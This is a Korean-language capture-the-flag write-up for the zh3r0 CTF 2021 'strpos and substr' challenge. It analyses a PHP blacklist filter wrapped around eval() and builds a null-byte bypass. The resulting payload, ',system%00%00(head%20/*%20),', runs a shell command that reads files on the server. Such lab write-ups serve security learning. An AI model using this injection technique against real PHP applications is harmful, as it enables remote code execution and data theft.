[Clear] zh3r0 CTF v2 2021 strpos and substr Writeup
주어진 페이지에 접근해보면 아래와 같은 php waf 가 구성되어 있다.
<?php
ini_set('display_errors',0);
include("flag.php");
if(!isset($_GET['user'])) highlight_file(__FILE__);
else{
$a=$_GET['user'];
if(strlen($a)>24 || gettype($a)!=="string" ){ ##### ......................... (1)
die("oh nâu!!");
}
if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){
$a=md5($a); ##### ............................................................... (2)
}
if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){
$a=md5($a); ##### ............................................................... (3)
}
eval("echo 'Hello ".$a."<br>$flag';");
}
각 조건을 아래와 같이 정리해보았다.
1. 길이는 23 이하, string type
2. preg_match("/\; | \^ | \~ | \& | \| | \[ | n | \] | \\$ | \. | \` | \" | \| | \+ | \- | \> | \? | c | \> /i",$a)
-> ; ^ ~ & | [ n . ` " | + - > ? c > $사용 불가
-> < ( ) { } ! @ # * 사용 가능
3. // ex) $a = "1234567890(bcdefghijklmnopqrstuvwxy)";
$aaa = substr($a,4,strlen($a)); // 5번째 문자부터 ~~ --ex) 567890(bcdefghijklmnopqrstuvwxyz)
$bbb = substr($a,6,strlen($a)); // 7번째 문자부터 ~~ --ex) 7890(bcdefghijklmnopqrstuvwxy)
$ccc = strpos($aaa,"(")>1; // 7번째 문자 이상부터 ( 있을시 True
$ddd = strpos($bbb,")")>1; // 9번째 문자 이상부터 ) 있을 시 True
$eee = strpos($aaa,"("); // 5번째 문자부터 ( 의 index --ex) 567890(bcdefghijklmnopqrstuvwxy) 에서 ( 가 있을 시, 그 idx
$fff = substr($a,2+$eee,2); // $a의 [ 5번째 문자부터 (의 index +2 ] 번째 index부터 2글자 -> ( 직전2글자
$ggg = substr($aaa,$eee,12); // $a의 5번째 문자부터 자른 문자열에서 ( 가 있는 index로부터 12글자
$hhh = substr($ggg,strpos($ggg,")")-1,1); /// $ggg에서 )의 직전 문자 _' 아니어야함
if(
($ccc||$ddd) && (preg_match("/[A-Za-z0-9_]/i",$fff)||preg_match("/[A-Za-z0-9_']/i",$hhh))
){
$a=md5($a);
}
가장 핵심적으로 우회해야 하는 제한 조건과 php online을 통한 테스트 및 구글링을 통하여 알게된 그에 대한 우회방법은 아래와 같다.
# 1. 의 c, n 사용 불가 --> cat 대신 head 명령어 사용
# 2. 의 ; 사용 불가 --> , 사용
# 3. 의 $ggg와 $hhh --> %00 사용
이를 활용한 최종 payload는 아래와 같다.
',system%00%00(head%20/*%20),'
FLAG = zh3r0{W4RmUp_4_Fun_13333333337}